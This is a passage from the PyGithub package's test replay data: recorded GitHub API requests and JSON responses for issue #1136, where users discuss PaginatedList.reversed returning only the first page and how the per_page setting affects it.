s/engn33r/repos","events_url":"https://api.github.com/users/engn33r/events{/privacy}","received_events_url":"https://api.github.com/users/engn33r/received_events","type":"User","site_admin":false},"created_at":"2024-01-06T16:04:34Z","updated_at":"2024-01-06T16:04:34Z","author_association":"NONE","body":"This was still an issue with v2.1.1 but the fix above worked for me :+1:\r\n\r\nIt would be great if this could be fixed in the library itself, with an example showing reversed usage in the docs.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879739410/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879763065","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-1879763065","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":1879763065,"node_id":"IC_kwDOADYVqs5wCuh5","user":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"created_at":"2024-01-06T17:34:11Z","updated_at":"2024-01-06T17:36:10Z","author_association":"COLLABORATOR","body":"I'd be surprised this does not work, there are some unit tests that cover this. Maybe test data have to be recorded again. Reopening, contribution welcome.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879763065/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null}] https GET api.github.com None /repositories/3544490/issues/1136/comments?per_page=3&page=2 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 14:52:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2da0c87bcdd4e81333c2bcff3919dd02c1f530d83d1f8b34300ce6bd4fcaea47"'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="next", ; rel="last", ; rel="first"'), ('x-accepted-github-permissions', 'issues=read; pull_requests=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4983'), ('X-RateLimit-Reset', '1711294214'), ('X-RateLimit-Used', '17'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D042:150D4C:539B908:540EA4A:66003E42')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2009839192","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-2009839192","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":2009839192,"node_id":"IC_kwDOADYVqs53y7ZY","user":{"login":"etiennnr","id":36542216,"node_id":"MDQ6VXNlcjM2NTQyMjE2","avatar_url":"https://avatars.githubusercontent.com/u/36542216?v=4","gravatar_id":"","url":"https://api.github.com/users/etiennnr","html_url":"https://github.com/etiennnr","followers_url":"https://api.github.com/users/etiennnr/followers","following_url":"https://api.github.com/users/etiennnr/following{/other_user}","gists_url":"https://api.github.com/users/etiennnr/gists{/gist_id}","starred_url":"https://api.github.com/users/etiennnr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/etiennnr/subscriptions","organizations_url":"https://api.github.com/users/etiennnr/orgs","repos_url":"https://api.github.com/users/etiennnr/repos","events_url":"https://api.github.com/users/etiennnr/events{/privacy}","received_events_url":"https://api.github.com/users/etiennnr/received_events","type":"User","site_admin":false},"created_at":"2024-03-20T15:24:15Z","updated_at":"2024-03-20T15:24:15Z","author_association":"NONE","body":"Can confirm this is still a problem for me, using version `1.59.1` though","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2009839192/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2011931389","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-2011931389","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":2011931389,"node_id":"IC_kwDOADYVqs5366L9","user":{"login":"EnricoMi","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/EnricoMi","html_url":"https://github.com/EnricoMi","followers_url":"https://api.github.com/users/EnricoMi/followers","following_url":"https://api.github.com/users/EnricoMi/following{/other_user}","gists_url":"https://api.github.com/users/EnricoMi/gists{/gist_id}","starred_url":"https://api.github.com/users/EnricoMi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/EnricoMi/subscriptions","organizations_url":"https://api.github.com/users/EnricoMi/orgs","repos_url":"https://api.github.com/users/EnricoMi/repos","events_url":"https://api.github.com/users/EnricoMi/events{/privacy}","received_events_url":"https://api.github.com/users/EnricoMi/received_events","type":"User","site_admin":false},"created_at":"2024-03-21T10:55:14Z","updated_at":"2024-03-21T10:55:14Z","author_association":"COLLABORATOR","body":"Can you confirm with latest release?","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2011931389/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2012384661","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-2012384661","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":2012384661,"node_id":"IC_kwDOADYVqs538o2V","user":{"login":"etiennnr","id":36542216,"node_id":"MDQ6VXNlcjM2NTQyMjE2","avatar_url":"https://avatars.githubusercontent.com/u/36542216?v=4","gravatar_id":"","url":"https://api.github.com/users/etiennnr","html_url":"https://github.com/etiennnr","followers_url":"https://api.github.com/users/etiennnr/followers","following_url":"https://api.github.com/users/etiennnr/following{/other_user}","gists_url":"https://api.github.com/users/etiennnr/gists{/gist_id}","starred_url":"https://api.github.com/users/etiennnr/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/etiennnr/subscriptions","organizations_url":"https://api.github.com/users/etiennnr/orgs","repos_url":"https://api.github.com/users/etiennnr/repos","events_url":"https://api.github.com/users/etiennnr/events{/privacy}","received_events_url":"https://api.github.com/users/etiennnr/received_events","type":"User","site_admin":false},"created_at":"2024-03-21T14:02:22Z","updated_at":"2024-03-21T14:02:22Z","author_association":"NONE","body":"Yes, Just tried with v.2.2.0 and got the same result\r\n\r\nHowever, my \"global\" `per_page` setting is set to 40. I tried setting it back to the default (30), and then it actually started from the last item of the `PaginatedList`! \r\n\r\nSo this actually seem to be somehow related to how the `reversed` algorithm deals with a different from the default `per_page` setting.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2012384661/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null}] https GET api.github.com None /repositories/3544490/issues/1136/comments?per_page=3&page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 14:52:50 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"96b8b7b7d4b0d49be94be5c2cc20e610609885e3e1f73c2d6458eb7d33286eb0"'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="prev", ; rel="first"'), ('x-accepted-github-permissions', 'issues=read; pull_requests=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4982'), ('X-RateLimit-Reset', '1711294214'), ('X-RateLimit-Used', '18'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D046:1589B:4FB0A89:502315A:66003E42')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2016818677","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-2016818677","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":2016818677,"node_id":"IC_kwDOADYVqs54NjX1","user":{"login":"engn33r","id":6261182,"node_id":"MDQ6VXNlcjYyNjExODI=","avatar_url":"https://avatars.githubusercontent.com/u/6261182?v=4","gravatar_id":"","url":"https://api.github.com/users/engn33r","html_url":"https://github.com/engn33r","followers_url":"https://api.github.com/users/engn33r/followers","following_url":"https://api.github.com/users/engn33r/following{/other_user}","gists_url":"https://api.github.com/users/engn33r/gists{/gist_id}","starred_url":"https://api.github.com/users/engn33r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/engn33r/subscriptions","organizations_url":"https://api.github.com/users/engn33r/orgs","repos_url":"https://api.github.com/users/engn33r/repos","events_url":"https://api.github.com/users/engn33r/events{/privacy}","received_events_url":"https://api.github.com/users/engn33r/received_events","type":"User","site_admin":false},"created_at":"2024-03-24T13:58:57Z","updated_at":"2024-03-24T14:00:06Z","author_association":"NONE","body":"For reference, I did not set `per_page` so I was using the default of 30 when I encountered this issue. But I was testing on only one repo with over 30 issues. It could make sense to test with repos with different numbers of issues to see if that is a factor.","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/2016818677/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testCustomPerPageReversedIteration.txt0000644000175100001660000011377114756101563030455 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 16:03:09 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"c56d6987e79ad7fa7ea859c898ac3b1e58da00e27fbe97bffe433b5a5cbb515d"'), ('Last-Modified', 'Sun, 24 Mar 2024 11:25:21 GMT'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'metadata=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4993'), ('X-RateLimit-Reset', '1711299465'), ('X-RateLimit-Used', '7'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D998:19EC4F:5957305:59D4EDF:66004EBD')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-03-24T11:25:21Z","pushed_at":"2024-03-24T15:14:35Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":15796,"stargazers_count":6627,"watchers_count":6627,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1704,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":283,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1704,"open_issues":283,"watchers":6627,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"network_count":1704,"subscribers_count":111} https GET api.github.com None /repos/PyGithub/PyGithub/issues/1136 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 16:03:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"2c247e53efccb989fff0f942a0fdeca97bb8705c2124682f3b8c2e790d7b8370"'), ('Last-Modified', 'Sun, 24 Mar 2024 14:00:06 GMT'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-accepted-github-permissions', 'issues=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4992'), ('X-RateLimit-Reset', '1711299465'), ('X-RateLimit-Used', '8'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D99E:7415A:C681C:C78A4:66004EBE')] {"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","repository_url":"https://api.github.com/repos/PyGithub/PyGithub","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/labels{/name}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/comments","events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/events","html_url":"https://github.com/PyGithub/PyGithub/issues/1136","id":454822411,"node_id":"MDU6SXNzdWU0NTQ4MjI0MTE=","number":1136,"title":"Paginated list reversed only gives the first page of results backwards","user":{"login":"micahsteinberg","id":31256235,"node_id":"MDQ6VXNlcjMxMjU2MjM1","avatar_url":"https://avatars.githubusercontent.com/u/31256235?v=4","gravatar_id":"","url":"https://api.github.com/users/micahsteinberg","html_url":"https://github.com/micahsteinberg","followers_url":"https://api.github.com/users/micahsteinberg/followers","following_url":"https://api.github.com/users/micahsteinberg/following{/other_user}","gists_url":"https://api.github.com/users/micahsteinberg/gists{/gist_id}","starred_url":"https://api.github.com/users/micahsteinberg/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/micahsteinberg/subscriptions","organizations_url":"https://api.github.com/users/micahsteinberg/orgs","repos_url":"https://api.github.com/users/micahsteinberg/repos","events_url":"https://api.github.com/users/micahsteinberg/events{/privacy}","received_events_url":"https://api.github.com/users/micahsteinberg/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":7,"created_at":"2019-06-11T17:47:23Z","updated_at":"2024-03-24T14:00:06Z","closed_at":null,"author_association":"NONE","active_lock_reason":null,"body":"When I do\r\n```\r\ng = Github(\"xxx\")\r\nrepo = g.get_repo(\"xxx\")\r\n\r\nfor comm in repo.get_commits(since=datetime).reversed:\r\n ....\r\n```\r\nit only goes through the most recent 30 results in reverse order.\r\n\r\nI was able to fix this with\r\n```\r\ndef reverse_github_results(paginated_list):\r\n for i in range(paginated_list.totalCount//30, -1, -1):\r\n page = paginated_list.get_page(i)\r\n page.reverse()\r\n for item in page:\r\n yield item\r\n```\r\nbut this possibly runs a bit slower and I thought I should let you guys know\r\n","closed_by":{"login":"stale[bot]","id":26384082,"node_id":"MDM6Qm90MjYzODQwODI=","avatar_url":"https://avatars.githubusercontent.com/in/1724?v=4","gravatar_id":"","url":"https://api.github.com/users/stale%5Bbot%5D","html_url":"https://github.com/apps/stale","followers_url":"https://api.github.com/users/stale%5Bbot%5D/followers","following_url":"https://api.github.com/users/stale%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/stale%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/stale%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stale%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/stale%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/stale%5Bbot%5D/repos","events_url":"https://api.github.com/users/stale%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/stale%5Bbot%5D/received_events","type":"Bot","site_admin":false},"reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/reactions","total_count":7,"+1":7,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"timeline_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136/timeline","performed_via_github_app":null,"state_reason":"reopened"} https GET api.github.com None /repos/PyGithub/PyGithub/issues/1136/comments?per_page=3 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 24 Mar 2024 16:03:10 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"57c5d41745d1850a5668491fc82543958ec801d97e5eeb55f7f8da49da691fce"'), ('github-authentication-token-expiration', '2024-04-02 20:01:36 +0200'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('x-accepted-github-permissions', 'issues=read; pull_requests=read'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4991'), ('X-RateLimit-Reset', '1711299465'), ('X-RateLimit-Used', '9'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'D9A4:1F911C:EB7E3:ECB7A:66004EBE')] [{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/520169504","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-520169504","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":520169504,"node_id":"MDEyOklzc3VlQ29tbWVudDUyMDE2OTUwNA==","user":{"login":"stale[bot]","id":26384082,"node_id":"MDM6Qm90MjYzODQwODI=","avatar_url":"https://avatars.githubusercontent.com/in/1724?v=4","gravatar_id":"","url":"https://api.github.com/users/stale%5Bbot%5D","html_url":"https://github.com/apps/stale","followers_url":"https://api.github.com/users/stale%5Bbot%5D/followers","following_url":"https://api.github.com/users/stale%5Bbot%5D/following{/other_user}","gists_url":"https://api.github.com/users/stale%5Bbot%5D/gists{/gist_id}","starred_url":"https://api.github.com/users/stale%5Bbot%5D/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/stale%5Bbot%5D/subscriptions","organizations_url":"https://api.github.com/users/stale%5Bbot%5D/orgs","repos_url":"https://api.github.com/users/stale%5Bbot%5D/repos","events_url":"https://api.github.com/users/stale%5Bbot%5D/events{/privacy}","received_events_url":"https://api.github.com/users/stale%5Bbot%5D/received_events","type":"Bot","site_admin":false},"created_at":"2019-08-10T18:16:46Z","updated_at":"2019-08-10T18:16:46Z","author_association":"NONE","body":"This issue has been automatically marked as stale because it has not had recent activity. It will be closed if no further activity occurs. Thank you for your contributions.\n","reactions":{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/520169504/reactions","total_count":0,"+1":0,"-1":0,"laugh":0,"hooray":0,"confused":0,"heart":0,"rocket":0,"eyes":0},"performed_via_github_app":null},{"url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments/1879739410","html_url":"https://github.com/PyGithub/PyGithub/issues/1136#issuecomment-1879739410","issue_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/1136","id":1879739410,"node_id":"IC_kwDOADYVqs5wCowS","user":{"login":"engn33r","id":6261182,"node_id":"MDQ6VXNlcjYyNjExODI=","avatar_url":"https://avatars.githubusercontent.com/u/6261182?v=4","gravatar_id":"","url":"https://api.github.com/users/engn33r","html_url":"https://github.com/engn33r","followers_url":"https://api.github.com/users/engn33r/followers","following_url":"https://api.github.com/users/engn33r/following{/other_user}","gists_url":"https://api.github.com/users/engn33r/gists{/gist_id}","starred_url":"https://api.github.com/users/engn33r/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/engn33r/subscriptions","organizations_url":"https://api.github.com/users/engn33r/orgs","repos_url":"https://api.github.com/users/e